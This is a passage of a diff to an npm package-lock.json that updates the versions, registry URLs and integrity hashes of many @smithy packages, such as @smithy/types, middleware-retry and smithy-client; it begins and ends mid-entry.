"sha512-iJ6YNJd0bntJYnX6s52NC4WFYcZeKrPUr1Kmmr5AwZcwCSzVpS7oavAmxMR7pMq7V+D1G4s9F5NJK0xwOsKAlQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/eventstream-codec": "^4.2.7", - "@smithy/types": "^4.11.0", + "@smithy/eventstream-codec": "^4.2.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -18899,14 +19783,14 @@ } }, "node_modules/@smithy/fetch-http-handler": { - "version": "5.3.8", - "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.3.8.tgz", - "integrity": "sha512-h/Fi+o7mti4n8wx1SR6UHWLaakwHRx29sizvp8OOm7iqwKGFneT06GCSFhml6Bha5BT6ot5pj3CYZnCHhGC2Rg==", + "version": "5.3.9", + "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.3.9.tgz", + "integrity": "sha512-I4UhmcTYXBrct03rwzQX1Y/iqQlzVQaPxWjCjula++5EmWq9YGBrx6bbGqluGc1f0XEfhSkiY4jhLgbsJUMKRA==", "license": "Apache-2.0", "dependencies": { - "@smithy/protocol-http": "^5.3.7", - "@smithy/querystring-builder": "^4.2.7", - "@smithy/types": "^4.11.0", + "@smithy/protocol-http": "^5.3.8", + "@smithy/querystring-builder": "^4.2.8", + "@smithy/types": "^4.12.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" }, @@ -18915,14 +19799,14 @@ } }, "node_modules/@smithy/hash-blob-browser": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@smithy/hash-blob-browser/-/hash-blob-browser-4.0.1.tgz", - "integrity": "sha512-rkFIrQOKZGS6i1D3gKJ8skJ0RlXqDvb1IyAphksaFOMzkn3v3I1eJ8m7OkLj0jf1McP63rcCEoLlkAn/HjcTRw==", + "version": "4.2.9", + "resolved": "https://registry.npmjs.org/@smithy/hash-blob-browser/-/hash-blob-browser-4.2.9.tgz", + "integrity": "sha512-m80d/iicI7DlBDxyQP6Th7BW/ejDGiF0bgI754+tiwK0lgMkcaIBgvwwVc7OFbY4eUzpGtnig52MhPAEJ7iNYg==", "license": "Apache-2.0", "dependencies": { - "@smithy/chunked-blob-reader": "^5.0.0", - "@smithy/chunked-blob-reader-native": "^4.0.0", - "@smithy/types": "^4.1.0", + "@smithy/chunked-blob-reader": "^5.2.0", + "@smithy/chunked-blob-reader-native": "^4.2.1", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -18930,12 +19814,12 @@ } }, "node_modules/@smithy/hash-node": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-4.2.7.tgz", - "integrity": "sha512-PU/JWLTBCV1c8FtB8tEFnY4eV1tSfBc7bDBADHfn1K+uRbPgSJ9jnJp0hyjiFN2PMdPzxsf1Fdu0eo9fJ760Xw==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-4.2.8.tgz", + "integrity": "sha512-7ZIlPbmaDGxVoxErDZnuFG18WekhbA/g2/i97wGj+wUBeS6pcUeAym8u4BXh/75RXWhgIJhyC11hBzig6MljwA==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" @@ -18983,13 +19867,13 @@ } }, "node_modules/@smithy/hash-stream-node": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@smithy/hash-stream-node/-/hash-stream-node-4.0.1.tgz", - "integrity": "sha512-U1rAE1fxmReCIr6D2o/4ROqAQX+GffZpyMt3d7njtGDr2pUNmAKRWa49gsNVhCh2vVAuf3wXzWwNr2YN8PAXIw==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/hash-stream-node/-/hash-stream-node-4.2.8.tgz", + "integrity": "sha512-v0FLTXgHrTeheYZFGhR+ehX5qUm4IQsjAiL9qehad2cyjMWcN2QG6/4mSwbSgEQzI7jwfoXj7z4fxZUx/Mhj2w==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.1.0", - "@smithy/util-utf8": "^4.0.0", + "@smithy/types": "^4.12.0", + "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -18997,9 +19881,9 @@ } }, "node_modules/@smithy/hash-stream-node/node_modules/@smithy/is-array-buffer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.0.0.tgz", - "integrity": "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.0.tgz", + "integrity": "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ==", "license": "Apache-2.0", "dependencies": { "tslib": "^2.6.2" @@ -19009,12 +19893,12 @@ } }, "node_modules/@smithy/hash-stream-node/node_modules/@smithy/util-buffer-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.0.0.tgz", - "integrity": "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.0.tgz", + "integrity": "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew==", "license": "Apache-2.0", "dependencies": { - "@smithy/is-array-buffer": "^4.0.0", + "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -19022,12 +19906,12 @@ } }, "node_modules/@smithy/hash-stream-node/node_modules/@smithy/util-utf8": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.0.0.tgz", - "integrity": "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.0.tgz", + "integrity": "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw==", "license": "Apache-2.0", "dependencies": { - "@smithy/util-buffer-from": "^4.0.0", + "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -19035,12 +19919,12 @@ } }, "node_modules/@smithy/invalid-dependency": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-4.2.7.tgz", - "integrity": "sha512-ncvgCr9a15nPlkhIUx3CU4d7E7WEuVJOV7fS7nnK2hLtPK9tYRBkMHQbhXU1VvvKeBm/O0x26OEoBq+ngFpOEQ==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-4.2.8.tgz", + "integrity": "sha512-N9iozRybwAQ2dn9Fot9kI6/w9vos2oTXLhtK7ovGqwZjlOcxu6XhPlpLpC+INsxktqHinn5gS2DXDjDF2kG5sQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19059,13 +19943,13 @@ } }, "node_modules/@smithy/md5-js": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@smithy/md5-js/-/md5-js-4.0.1.tgz", - "integrity": "sha512-HLZ647L27APi6zXkZlzSFZIjpo8po45YiyjMGJZM3gyDY8n7dPGdmxIIljLm4gPt/7rRvutLTTkYJpZVfG5r+A==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/md5-js/-/md5-js-4.2.8.tgz", + "integrity": "sha512-oGMaLj4tVZzLi3itBa9TCswgMBr7k9b+qKYowQ6x1rTyTuO1IU2YHdHUa+891OsOH+wCsH7aTPRsTJO3RMQmjQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.1.0", - "@smithy/util-utf8": "^4.0.0", + "@smithy/types": "^4.12.0", + "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -19073,9 +19957,9 @@ } }, "node_modules/@smithy/md5-js/node_modules/@smithy/is-array-buffer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.0.0.tgz", - "integrity": "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.0.tgz", + "integrity": "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ==", "license": "Apache-2.0", "dependencies": { "tslib": "^2.6.2" @@ -19085,12 +19969,12 @@ } }, "node_modules/@smithy/md5-js/node_modules/@smithy/util-buffer-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.0.0.tgz", - "integrity": "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.0.tgz", + "integrity": "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew==", "license": "Apache-2.0", "dependencies": { - "@smithy/is-array-buffer": "^4.0.0", + "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -19098,12 +19982,12 @@ } }, "node_modules/@smithy/md5-js/node_modules/@smithy/util-utf8": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.0.0.tgz", - "integrity": "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.0.tgz", + "integrity": "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw==", "license": "Apache-2.0", "dependencies": { - "@smithy/util-buffer-from": "^4.0.0", + "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -19111,13 +19995,13 @@ } }, "node_modules/@smithy/middleware-content-length": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-4.2.7.tgz", - "integrity": "sha512-GszfBfCcvt7kIbJ41LuNa5f0wvQCHhnGx/aDaZJCCT05Ld6x6U2s0xsc/0mBFONBZjQJp2U/0uSJ178OXOwbhg==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-4.2.8.tgz", + "integrity": "sha512-RO0jeoaYAB1qBRhfVyq0pMgBoUK34YEJxVxyjOWYZiOKOq2yMZ4MnVXMZCUDenpozHue207+9P5ilTV1zeda0A==", "license": "Apache-2.0", "dependencies": { - "@smithy/protocol-http": "^5.3.7", - "@smithy/types": "^4.11.0", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19125,18 +20009,18 @@ } }, "node_modules/@smithy/middleware-endpoint": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-4.4.1.tgz", - "integrity": "sha512-gpLspUAoe6f1M6H0u4cVuFzxZBrsGZmjx2O9SigurTx4PbntYa4AJ+o0G0oGm1L2oSX6oBhcGHwrfJHup2JnJg==", + "version": "4.4.12", + "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-4.4.12.tgz", + "integrity": "sha512-9JMKHVJtW9RysTNjcBZQHDwB0p3iTP6B1IfQV4m+uCevkVd/VuLgwfqk5cnI4RHcp4cPwoIvxQqN4B1sxeHo8Q==", "license": "Apache-2.0", "dependencies": { - "@smithy/core": "^3.20.0", - "@smithy/middleware-serde": "^4.2.8", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/shared-ini-file-loader": "^4.4.2", - "@smithy/types": "^4.11.0", - "@smithy/url-parser": "^4.2.7", - "@smithy/util-middleware": "^4.2.7", + "@smithy/core": "^3.22.0", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-middleware": "^4.2.8", "tslib": "^2.6.2" }, "engines": { @@ -19144,18 +20028,18 @@ } }, "node_modules/@smithy/middleware-retry": { - "version": "4.4.17", - "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-4.4.17.tgz", - "integrity": "sha512-MqbXK6Y9uq17h+4r0ogu/sBT6V/rdV+5NvYL7ZV444BKfQygYe8wAhDrVXagVebN6w2RE0Fm245l69mOsPGZzg==", + "version": "4.4.29", + "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-4.4.29.tgz", + "integrity": "sha512-bmTn75a4tmKRkC5w61yYQLb3DmxNzB8qSVu9SbTYqW6GAL0WXO2bDZuMAn/GJSbOdHEdjZvWxe+9Kk015bw6Cg==", "license": "Apache-2.0", "dependencies": { - "@smithy/node-config-provider": "^4.3.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/service-error-classification": "^4.2.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", - "@smithy/util-middleware": "^4.2.7", - "@smithy/util-retry": "^4.2.7", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/service-error-classification": "^4.2.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" }, @@ -19164,13 +20048,13 @@ } }, "node_modules/@smithy/middleware-serde": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-4.2.8.tgz", - "integrity": "sha512-8rDGYen5m5+NV9eHv9ry0sqm2gI6W7mc1VSFMtn6Igo25S507/HaOX9LTHAS2/J32VXD0xSzrY0H5FJtOMS4/w==", + "version": "4.2.9", + "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-4.2.9.tgz", + "integrity": "sha512-eMNiej0u/snzDvlqRGSN3Vl0ESn3838+nKyVfF2FKNXFbi4SERYT6PR392D39iczngbqqGG0Jl1DlCnp7tBbXQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/protocol-http": "^5.3.7", - "@smithy/types": "^4.11.0", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19178,12 +20062,12 @@ } }, "node_modules/@smithy/middleware-stack": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-4.2.7.tgz", - "integrity": "sha512-bsOT0rJ+HHlZd9crHoS37mt8qRRN/h9jRve1SXUhVbkRzu0QaNYZp1i1jha4n098tsvROjcwfLlfvcFuJSXEsw==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-4.2.8.tgz", + "integrity": "sha512-w6LCfOviTYQjBctOKSwy6A8FIkQy7ICvglrZFl6Bw4FmcQ1Z420fUtIhxaUZZshRe0VCq4kvDiPiXrPZAe8oRA==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19191,14 +20075,14 @@ } }, "node_modules/@smithy/node-config-provider": { - "version": "4.3.7", - "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-4.3.7.tgz", - "integrity": "sha512-7r58wq8sdOcrwWe+klL9y3bc4GW1gnlfnFOuL7CXa7UzfhzhxKuzNdtqgzmTV+53lEp9NXh5hY/S4UgjLOzPfw==", + "version": "4.3.8", + "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-4.3.8.tgz", + "integrity": "sha512-aFP1ai4lrbVlWjfpAfRSL8KFcnJQYfTl5QxLJXY32vghJrDuFyPZ6LtUL+JEGYiFRG1PfPLHLoxj107ulncLIg==", "license": "Apache-2.0", "dependencies": { - "@smithy/property-provider": "^4.2.7", - "@smithy/shared-ini-file-loader": "^4.4.2", - "@smithy/types": "^4.11.0", + "@smithy/property-provider": "^4.2.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19206,15 +20090,15 @@ } }, "node_modules/@smithy/node-http-handler": { - "version": "4.4.7", - "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.4.7.tgz", - "integrity": "sha512-NELpdmBOO6EpZtWgQiHjoShs1kmweaiNuETUpuup+cmm/xJYjT4eUjfhrXRP4jCOaAsS3c3yPsP3B+K+/fyPCQ==", + "version": "4.4.8", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.4.8.tgz", + "integrity": "sha512-q9u+MSbJVIJ1QmJ4+1u+cERXkrhuILCBDsJUBAW1MPE6sFonbCNaegFuwW9ll8kh5UdyY3jOkoOGlc7BesoLpg==", "license": "Apache-2.0", "dependencies": { - "@smithy/abort-controller": "^4.2.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/querystring-builder": "^4.2.7", - "@smithy/types": "^4.11.0", + "@smithy/abort-controller": "^4.2.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/querystring-builder": "^4.2.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19222,12 +20106,12 @@ } }, "node_modules/@smithy/property-provider": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-4.2.7.tgz", - "integrity": "sha512-jmNYKe9MGGPoSl/D7JDDs1C8b3dC8f/w78LbaVfoTtWy4xAd5dfjaFG9c9PWPihY4ggMQNQSMtzU77CNgAJwmA==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-4.2.8.tgz", + "integrity": "sha512-EtCTbyIveCKeOXDSWSdze3k612yCPq1YbXsbqX3UHhkOSW8zKsM9NOJG5gTIya0vbY2DIaieG8pKo1rITHYL0w==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19235,12 +20119,12 @@ } }, "node_modules/@smithy/protocol-http": { - "version": "5.3.7", - "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-5.3.7.tgz", - "integrity": "sha512-1r07pb994I20dD/c2seaZhoCuNYm0rWrvBxhCQ70brNh11M5Ml2ew6qJVo0lclB3jMIXirD4s2XRXRe7QEi0xA==", + "version": "5.3.8", + "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-5.3.8.tgz", + "integrity": "sha512-QNINVDhxpZ5QnP3aviNHQFlRogQZDfYlCkQT+7tJnErPQbDhysondEjhikuANxgMsZrkGeiAxXy4jguEGsDrWQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19248,12 +20132,12 @@ } }, "node_modules/@smithy/querystring-builder": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-4.2.7.tgz", - "integrity": "sha512-eKONSywHZxK4tBxe2lXEysh8wbBdvDWiA+RIuaxZSgCMmA0zMgoDpGLJhnyj+c0leOQprVnXOmcB4m+W9Rw7sg==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-4.2.8.tgz", + "integrity": "sha512-Xr83r31+DrE8CP3MqPgMJl+pQlLLmOfiEUnoyAlGzzJIrEsbKsPy1hqH0qySaQm4oWrCBlUqRt+idEgunKB+iw==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" }, @@ -19262,12 +20146,12 @@ } }, "node_modules/@smithy/querystring-parser": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-4.2.7.tgz", - "integrity": "sha512-3X5ZvzUHmlSTHAXFlswrS6EGt8fMSIxX/c3Rm1Pni3+wYWB6cjGocmRIoqcQF9nU5OgGmL0u7l9m44tSUpfj9w==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-4.2.8.tgz", + "integrity": "sha512-vUurovluVy50CUlazOiXkPq40KGvGWSdmusa3130MwrR1UNnNgKAlj58wlOe61XSHRpUfIIh6cE0zZ8mzKaDPA==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19275,24 +20159,24 @@ } }, "node_modules/@smithy/service-error-classification": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-4.2.7.tgz", - "integrity": "sha512-YB7oCbukqEb2Dlh3340/8g8vNGbs/QsNNRms+gv3N2AtZz9/1vSBx6/6tpwQpZMEJFs7Uq8h4mmOn48ZZ72MkA==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-4.2.8.tgz", + "integrity": "sha512-mZ5xddodpJhEt3RkCjbmUQuXUOaPNTkbMGR0bcS8FE0bJDLMZlhmpgrvPNCYglVw5rsYTpSnv19womw9WWXKQQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0" + "@smithy/types": "^4.12.0" }, "engines": { "node": ">=18.0.0" } }, "node_modules/@smithy/shared-ini-file-loader": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.4.2.tgz", - "integrity": "sha512-M7iUUff/KwfNunmrgtqBfvZSzh3bmFgv/j/t1Y1dQ+8dNo34br1cqVEqy6v0mYEgi0DkGO7Xig0AnuOaEGVlcg==", + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.4.3.tgz", + "integrity": "sha512-DfQjxXQnzC5UbCUPeC3Ie8u+rIWZTvuDPAGU/BxzrOGhRvgUanaP68kDZA+jaT3ZI+djOf+4dERGlm9mWfFDrg==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19300,16 +20184,16 @@ } }, "node_modules/@smithy/signature-v4": { - "version": "5.3.7", - "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.3.7.tgz", - "integrity": "sha512-9oNUlqBlFZFOSdxgImA6X5GFuzE7V2H7VG/7E70cdLhidFbdtvxxt81EHgykGK5vq5D3FafH//X+Oy31j3CKOg==", + "version": "5.3.8", + "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.3.8.tgz", + "integrity": "sha512-6A4vdGj7qKNRF16UIcO8HhHjKW27thsxYci+5r/uVRkdcBEkOEiY8OMPuydLX4QHSrJqGHPJzPRwwVTqbLZJhg==", "license": "Apache-2.0", "dependencies": { "@smithy/is-array-buffer": "^4.2.0", - "@smithy/protocol-http": "^5.3.7", - "@smithy/types": "^4.11.0", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", "@smithy/util-hex-encoding": "^4.2.0", - "@smithy/util-middleware": "^4.2.7", + "@smithy/util-middleware": "^4.2.8", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" @@ -19357,17 +20241,17 @@ } }, "node_modules/@smithy/smithy-client": { - "version": "4.10.2", - "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-4.10.2.tgz", - "integrity": "sha512-D5z79xQWpgrGpAHb054Fn2CCTQZpog7JELbVQ6XAvXs5MNKWf28U9gzSBlJkOyMl9LA1TZEjRtwvGXfP0Sl90g==", + "version": "4.11.1", + "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-4.11.1.tgz", + "integrity": "sha512-SERgNg5Z1U+jfR6/2xPYjSEHY1t3pyTHC/Ma3YQl6qWtmiL42bvNId3W/oMUWIwu7ekL2FMPdqAmwbQegM7HeQ==", "license": "Apache-2.0", "dependencies": { - "@smithy/core": "^3.20.0", - "@smithy/middleware-endpoint": "^4.4.1", - "@smithy/middleware-stack": "^4.2.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/types": "^4.11.0", - "@smithy/util-stream": "^4.5.8", + "@smithy/core": "^3.22.0", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/types": "^4.12.0", + "@smithy/util-stream": "^4.5.10", "tslib": "^2.6.2" }, "engines": { @@ -19375,9 +20259,9 @@ } }, "node_modules/@smithy/types": { - "version": "4.11.0", - "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.11.0.tgz", - "integrity": "sha512-mlrmL0DRDVe3mNrjTcVcZEgkFmufITfUAPBEA+AHYiIeYyJebso/He1qLbP3PssRe22KUzLRpQSdBPbXdgZ2VA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.12.0.tgz", + "integrity": "sha512-9YcuJVTOBDjg9LWo23Qp0lTQ3D7fQsQtwle0jVfpbUHy9qBwCEgKuVH4FqFB3VYu0nwdHKiEMA+oXz7oV8X1kw==", "license": "Apache-2.0", "dependencies": { "tslib": "^2.6.2" @@ -19387,13 +20271,13 @@ } }, "node_modules/@smithy/url-parser": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-4.2.7.tgz", - "integrity": "sha512-/RLtVsRV4uY3qPWhBDsjwahAtt3x2IsMGnP5W1b2VZIe+qgCqkLxI1UOHDZp1Q1QSOrdOR32MF3Ph2JfWT1VHg==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-4.2.8.tgz", + "integrity": "sha512-NQho9U68TGMEU639YkXnVMV3GEFFULmmaWdlu1E9qzyIePOHsoSnagTGSDv1Zi8DCNN6btxOSdgmy5E/hsZwhA==", "license": "Apache-2.0", "dependencies": { - "@smithy/querystring-parser": "^4.2.7", - "@smithy/types": "^4.11.0", + "@smithy/querystring-parser": "^4.2.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19501,14 +20385,14 @@ } }, "node_modules/@smithy/util-defaults-mode-browser": { - "version": "4.3.16", - "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.3.16.tgz", - "integrity": "sha512-/eiSP3mzY3TsvUOYMeL4EqUX6fgUOj2eUOU4rMMgVbq67TiRLyxT7Xsjxq0bW3OwuzK009qOwF0L2OgJqperAQ==", + "version": "4.3.28", + "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.3.28.tgz", + "integrity": "sha512-/9zcatsCao9h6g18p/9vH9NIi5PSqhCkxQ/tb7pMgRFnqYp9XUOyOlGPDMHzr8n5ih6yYgwJEY2MLEobUgi47w==", "license": "Apache-2.0", "dependencies": { - "@smithy/property-provider": "^4.2.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", + "@smithy/property-provider": "^4.2.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19516,17 +20400,17 @@ } }, "node_modules/@smithy/util-defaults-mode-node": { - "version": "4.2.19", - "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.2.19.tgz", - "integrity": "sha512-3a4+4mhf6VycEJyHIQLypRbiwG6aJvbQAeRAVXydMmfweEPnLLabRbdyo/Pjw8Rew9vjsh5WCdhmDaHkQnhhhA==", + "version": "4.2.31", + "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.2.31.tgz", + "integrity": 